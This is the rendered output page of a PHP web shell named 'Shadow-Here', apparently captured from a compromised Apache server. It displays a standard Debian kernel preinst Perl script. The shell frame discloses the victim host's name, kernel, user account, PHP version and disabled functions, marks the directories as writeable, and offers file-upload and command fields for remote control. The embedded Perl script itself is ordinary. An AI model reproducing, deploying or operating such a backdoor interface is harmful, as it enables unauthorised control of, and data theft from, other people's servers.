Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : //var/lib/dpkg/info/linux-image-3.16.0-11-amd64.preinst
#! /usr/bin/perl
#
use strict;
use warnings;

use Debconf::Client::ConfModule qw(:all);
version('2.0');
my $capb=capb("backup");

$|=1;

# Predefined values:
my $version         = "3.16.0-11-amd64";
my $kimage          = "vmlinuz";
my $preinst_hook    = '';       #Normally we do not
my $package_name    = "linux-image-$version";

#known variables
my $realimageloc    = "/boot/";
my $CONF_LOC        = '/etc/kernel-img.conf';

my $modules_base    = '/lib/modules';

die "Pre inst Internal error. Aborting." unless $version;

exit 0 if $ARGV[0] =~ /abort-upgrade/;
exit 1 unless $ARGV[0] =~ /(install|upgrade)/;

if (-r "$CONF_LOC" && -f "$CONF_LOC"  ) {
  if (open(CONF, "$CONF_LOC")) {
    while (<CONF>) {
      chomp;
      s/\#.*$//g;
      next if /^\s*$/;

      $preinst_hook    = "$1"  if /preinst_hook\s*=\s*(\S+)/i;
    }
    close CONF;
  }
}


# set the env var stem
$ENV{'STEM'} = "linux";

sub exec_script {
  my $type   = shift;
  my $script = shift;
  print STDERR "Running $type hook script $script.\n";
  system ("$script $version $realimageloc$kimage-$version") &&
    print STDERR "User $type hook script [$script] ";
  if ($?) {
    if ($? == -1) {
      print STDERR "failed to execute: $!\n";
    }
    elsif ($? & 127) {
      printf STDERR "died with signal %d, %s coredump\n",
        ($? & 127),  ($? & 128) ? 'with' : 'without';
    }
    else {
      printf STDERR "exited with value %d\n", $? >> 8;
    }
    exit $? >> 8;
  }
}
sub run_hook {
  my $type   = shift;
  my $script = shift;
  if ($script =~ m,^/,) {
    # Full path provided for the hook script
    if (-x "$script") {
      &exec_script($type,$script);
    }
    else {
      die "The provided $type hook script [$script] could not be run.\n";
    }
  }
  else {
    # Look for it in a safe path
    for my $path ('/bin', '/sbin', '/usr/bin', '/usr/sbin') {
      if (-x "$path/$script") {
        &exec_script($type, "$path/$script");
        return 0;
      }
    }
    # No luck
    print STDERR "Could not find $type hook script [$script].\n";
    die "Looked in: '/bin', '/sbin', '/usr/bin', '/usr/sbin'\n";
  }
}


my $options;
for (@ARGV) {
	s,','\\'',g;
	$options .= " '$_'";
}
$ENV{'DEB_MAINT_PARAMS'}="$options";

## Run user hook script here, if any
if (-x "$preinst_hook") {
  &run_hook("preinst", $preinst_hook);
}
if (-d "/etc/kernel/preinst.d") {
  system ("run-parts --report --exit-on-error --arg=$version" .
          " --arg=$realimageloc$kimage-$version" .
          " /etc/kernel/preinst.d") &&
            die "Failed to process /etc/kernel/preinst.d";
}
if (-d "/etc/kernel/preinst.d/$version") {
  system ("run-parts --report --exit-on-error --arg=$version" .
          " --arg=$realimageloc$kimage-$version" .
          " /etc/kernel/preinst.d/$version") &&
            die "Failed to process /etc/kernel/preinst.d/$version";
}

exit 0;

__END__

Samx